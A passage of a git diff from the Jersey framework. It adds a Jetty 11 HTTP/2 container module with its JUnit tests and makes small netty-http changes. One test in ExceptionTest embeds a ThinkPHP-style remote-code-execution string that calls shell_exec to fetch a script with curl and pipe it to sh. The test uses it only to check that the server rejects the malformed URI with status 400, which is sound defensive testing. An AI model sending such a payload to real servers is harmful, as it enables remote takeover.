+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see Jetty11HttpContainer
+     *
+     * @since 2.40
+     */
+    public static Server createHttp2Server(final URI uri,
+                                           final SslContextFactory.Server sslContextFactory,
+                                           final Jetty11HttpContainer handler,
+                                           final boolean start) {
+
+        /**
+         * Creating basic Jetty HTTP/1.1 container (but always not started)
+         */
+        final Server server = Jetty11HttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
+        /**
+         * Obtain configured HTTP connection factory
+         */
+        final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
+        final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
+
+        /**
+         * Obtain prepared config
+         */
+        final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
+
+        /**
+         * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
+         */
+        final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
+
+        /**
+         * adding connection factories for H2/H2C protocol
+         */
+        for (final ConnectionFactory factory : factories) {
+            httpServerConnector.addConnectionFactory(factory);
+        }
+        server.setConnectors(new Connector[]{httpServerConnector});
+
+        /**
+         * Starting the server if required
+         */
+        if (start) {
+            try {
+                // Start the server.
+                server.start();
+            } catch (final Exception e) {
+                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+            }
+        }
+        return server;
+    }
+
+    private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
+                                                                  final SslContextFactory.Server sslContextFactory) {
+        final List<ConnectionFactory> factories = new ArrayList<>();
+        if (sslContextFactory != null) {
+            factories.add(new HTTP2ServerConnectionFactory(config));
+            final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
+            alpn.setDefaultProtocol("h2");
+            factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
+            factories.add(alpn);
+        } else {
+            factories.add(new HTTP2CServerConnectionFactory(config));
+        }
+
+        return factories;
+    }
+}
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
new file mode 100644
index 0000000..edc461e
--- /dev/null
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.Jetty11HttpContainer;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+
+import static org.glassfish.jersey.jetty.Jetty11HttpContainerProvider.HANDLER_NAME;
+
+public final class Jetty11Http2ContainerProvider implements ContainerProvider {
+
+    @Override
+    public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
+        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || Jetty11HttpContainer.class == type)) {
+            return type.cast(new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, application));
+        }
+        return null;
+    }
+}
+
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
similarity index 77%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
index dd25372..a402b27 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey Jetty HTTP2 container classes.
+ */
+package org.glassfish.jersey.jetty.http2;
diff --git a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 0000000..2cd5dda
--- /dev/null
+++ b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerProvider
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
similarity index 89%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
index 2886c72..ba290bd 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
@@ -15,4 +15,5 @@
 #
 
 # {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+error.when.creating.server=Exception thrown when trying to create jetty server.
+not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
new file mode 100644
index 0000000..1911add
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJetty11ServerTester {
+
+    private static final Logger LOGGER = Logger.getLogger(AbstractJetty11ServerTester.class.getName());
+
+    public static final String CONTEXT = "";
+    private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+    /**
+     * Get the port to be used for test application deployments.
+     *
+     * @return The HTTP port of the URI
+     */
+    protected final int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+
+            try {
+                final int i = Integer.parseInt(value);
+                if (i <= 0) {
+                    throw new NumberFormatException("Value not positive.");
+                }
+                return i;
+            } catch (NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid positive integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+        return DEFAULT_PORT;
+    }
+
+    private final int getPort(RuntimeType runtimeType) {
+        switch (runtimeType) {
+            case SERVER:
+                return getPort();
+            case CLIENT:
+                return server.getURI().getPort();
+            default:
+                throw new IllegalStateException("Unexpected runtime type");
+        }
+    }
+
+    private volatile Server server;
+
+    public UriBuilder getUri() {
+        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+    }
+
+    public void startServer(Class... resources) {
+        ResourceConfig config = new ResourceConfig(resources);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        final URI baseUri = getBaseUri();
+        server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
+        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+    }
+
+    public void startServer(ResourceConfig config) {
+        final URI baseUri = getBaseUri();
+        server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
+        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+    }
+
+    public URI getBaseUri() {
+        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+    }
+
+    public void stopServer() {
+        try {
+            server.stop();
+            server = null;
+            LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @AfterEach
+    public void tearDown() {
+        if (server != null) {
+            stopServer();
+        }
+    }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
new file mode 100644
index 0000000..0a3774b
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJetty11ServerTester {
+
+    @Path("/async")
+    @SuppressWarnings("VoidMethodAnnotatedWithGET")
+    public static class AsyncResource {
+
+        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+        @GET
+        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(5000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(final AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+                            .build());
+                }
+            });
+            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(7000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("multiple-invocations")
+        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+            INVOCATION_COUNT.incrementAndGet();
+
+            new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    asyncResponse.resume("OK");
+                }
+            }).start();
+        }
+    }
+
+    private Client client;
+
+    @BeforeEach
+    public void setUp() throws Exception {
+        startServer(AsyncResource.class);
+        client = ClientBuilder.newClient();
+    }
+
+    @Override
+    @AfterEach
+    public void tearDown() {
+        super.tearDown();
+        client = null;
+    }
+
+    @Test
+    public void testAsyncGet() throws ExecutionException, InterruptedException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+        // get() waits for the response
+        assertEquals("DONE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+
+    /**
+     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+     */
+    @Test
+    public void testAsyncMultipleInvocations() throws Exception {
+        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+        assertThat(response.getStatus(), is(200));
+        assertThat(response.readEntity(String.class), is("OK"));
+    }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
new file mode 100644
index 0000000..6f0ad22
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJetty11ServerTester {
+    @Path("{status}")
+    public static class ExceptionResource {
+        @GET
+        public String get(@PathParam("status") int status) {
+            throw new WebApplicationException(status);
+        }
+
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+                + ".0.1/ldr.sh|sh";
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+        request.addHeader("X-Forwarded-Host", "_foo.com");
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
+    public void test400StatusCode() throws IOException {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("400").build());
+        assertEquals(400, r.request().get(Response.class).getStatus());
+    }
+
+    @Test
+    public void test500StatusCode() {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("500").build());
+
+        assertEquals(500, r.request().get(Response.class).getStatus());
+    }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
new file mode 100644
index 0000000..517d6e2
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJetty11ServerTester {
+
+    @Path("/one")
+    public static class One {
+        @GET
+        public String get() {
+            return "one";
+        }
+    }
+
+    @Path("/two")
+    public static class Two {
+        @GET
+        public String get() {
+            return "two";
+        }
+    }
+
+    public static class Reloader extends AbstractContainerLifecycleListener {
+        Container container;
+
+        public void reload(ResourceConfig newConfig) {
+            container.reload(newConfig);
+        }
+
+        public void reload() {
+            container.reload();
+        }
+
+        @Override
+        public void onStartup(Container container) {
+            this.container = container;
+        }
+
+    }
+
+    @Test
+    public void testReload() {
+        final ResourceConfig rc = new ResourceConfig(One.class);
+
+        Reloader reloader = new Reloader();
+        rc.registerInstances(reloader);
+
+        startServer(rc);
+
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("/").build());
+
+        assertEquals("one", r.path("one").request().get(String.class));
+        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+        // add Two resource
+        reloader.reload(new ResourceConfig(One.class, Two.class));
+
+        assertEquals("one", r.path("one").request().get(String.class));
+        assertEquals("two", r.path("two").request().get(String.class));
+    }
+
+    static class StartStopListener extends AbstractContainerLifecycleListener {
+        volatile boolean started;
+        volatile boolean stopped;
+
+        @Override
+        public void onStartup(Container container) {
+            started = true;
+        }
+
+        @Override
+        public void onShutdown(Container container) {
+            stopped = true;
+        }
+    }
+
+    @Test
+    public void testStartupShutdownHooks() {
+        final StartStopListener listener = new StartStopListener();
+
+        startServer(new ResourceConfig(One.class).register(listener));
+
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("/").build());
+
+        assertThat(r.path("one").request().get(String.class), equalTo("one"));
+        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+        stopServer();
+
+        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+    }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
new file mode 100644
index 0000000..d5b7cc5
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJetty11ServerTester {
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        startServer(HelloWorldResource.class);
+        Client client = ClientBuilder.newClient();
+        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(0, response.getLength());
+        assertEquals("foo/bar", response.getMediaType().toString());
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+}
diff --git a/containers/netty-http/pom.xml b/containers/netty-http/pom.xml
index 2b07fcf..c9b91f8 100644
--- a/containers/netty-http/pom.xml
+++ b/containers/netty-http/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-netty-http</artifactId>
@@ -42,6 +42,11 @@
             <artifactId>jersey-netty-connector</artifactId>
             <version>${project.version}</version>
         </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
     <build>
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java
index 924fb9a..3212cd7 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -135,6 +135,11 @@
                     private final Map<String, Object> properties = new HashMap<>();
 
                     @Override
+                    public boolean hasProperty(final String name) {
+                        return properties.containsKey(name);
+                    }
+
+                    @Override
                     public Object getProperty(String name) {
                         return properties.get(name);
                     }
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
index 0b43e1e..69105a1 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
@@ -166,6 +166,11 @@
                     private final Map<String, Object> properties = new HashMap<>();
 
                     @Override
+                    public boolean hasProperty(final String name) {
+                        return properties.containsKey(name);
+                    }
+
+                    @Override
                     public Object getProperty(String name) {
                         return properties.get(name);
                     }
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java
index cbd7fe4..d6e8508 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java
@@ -41,6 +41,11 @@
         this.appHandler.onStartup(this);
     }
 
+    NettyHttpContainer(Class<? extends Application> applicationClass) {
+        this.appHandler = new ApplicationHandler(applicationClass);
+        this.appHandler.onStartup(this);
+    }
+
     @Override
     public ResourceConfig getConfiguration() {
         return appHandler.getConfiguration();
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java
index 6f926c0..3d78837 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -58,7 +58,7 @@
      * Create and start Netty server.
      *
      * @param baseUri       base uri.
-     * @param configuration Jersey configuration.
